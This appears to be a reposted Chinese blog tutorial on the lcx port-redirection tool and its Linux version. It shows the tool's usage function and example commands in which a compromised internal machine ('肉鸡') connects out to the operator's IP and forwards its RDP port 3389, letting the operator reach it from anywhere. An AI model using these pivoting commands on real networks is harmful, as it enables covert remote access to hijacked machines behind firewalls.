天天看点

LCX 端口重定向本质以及在linux下的实现

lcx.exe 经常给内网肉鸡丢3389后门以及内网渗透的大都很熟悉,平时使用都是照猫画虎用,不明白其中本质,今天找到源码,详细阐释下本质吧。

其中涉及到2条TCP连接已经2条端口转发,可能比较饶人,慢慢看吧。

平时大家都这样用 首先在自己主机上 lcx -listen  p1 p2  ,意思是在主机上监听 P1 和 P2 端口,

然后在鸡上   lcx -slave  主机IP p1  肉鸡IP p3 ,意思是连接 主机IP:p1 并把所有通信数据转发到 肉鸡IP:p3

然后用相关服务的客户端连接 主机IP:p2 ,例如3889连接器,即可连接到肉鸡相应的p3端口服务。因为主机自动把 主机IP:p2的任何数据都转发到

IP:p1上,而IP:p1与 肉鸡 已经有个可以通信的连接,最终肉鸡在把与  IP:p1 转发到相应的服务端口,即完成了通信,说的有点饶人还是上图吧。

LCX 端口重定向本质以及在linux下的实现

网上基本都是windows下的实现,使用方法也就上面那样。

linux也有实现,感觉使用方法更加明朗,且与windows下的兼容 在此推荐下。

把windows的小做修改下,重新编译了下,源程序比较简单就不上传工程文件了,直接给个C文件,自己编译下即可。

linux下实现大同小异,只不过用的fork实现子线程。

使用说明:

VOID usage(char* prog) 
{      
    printf("Socket data transport tool\r\n");
    printf("by bkbll([email protected])\r\n\r\n");
    printf("Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]\r\n",prog);
    printf(" -v: version\r\n");
    printf(" -h1: host1\r\n");
    printf(" -h2: host2\r\n");
    printf(" -p1: port1\r\n");
    printf(" -p2: port2\r\n");
    printf(" -log: log the data\r\n");
    printf(" -m: the action method for this tool\r\n");
    printf("    1: listen on PORT1 and connect to HOST2:PORT2\r\n"); //最简单的端口转发,单独使用
    printf("    2: listen on PORT1 and PORT2\r\n");                 //通常 2 3结合使用
    printf("    3: connect to HOST1:PORT1 and HOST2:PORT2\r\n");

    closeallfd();
    return;
}      

源代码 lcx_src.zip

简单的例子,加入本机IP为116.228.111.18,某内网肉鸡开了3389.

1.本机  lcx -m 2 -p1 3333  -p2 3389

2.肉鸡  lcx  -m 3 -h1 116.228.111.18 -p1 3333 -h2 127.0.0.1 -p2 3389

3.在任何有网的地方包括自己主机都可以用 3389连接器 连接 116.228.111.18:3389即可。

其他服务同理,如 80 22 21 1433.

转载于:https://www.cnblogs.com/wangtuanjie/archive/2012/10/31/lcx_linux.html

继续阅读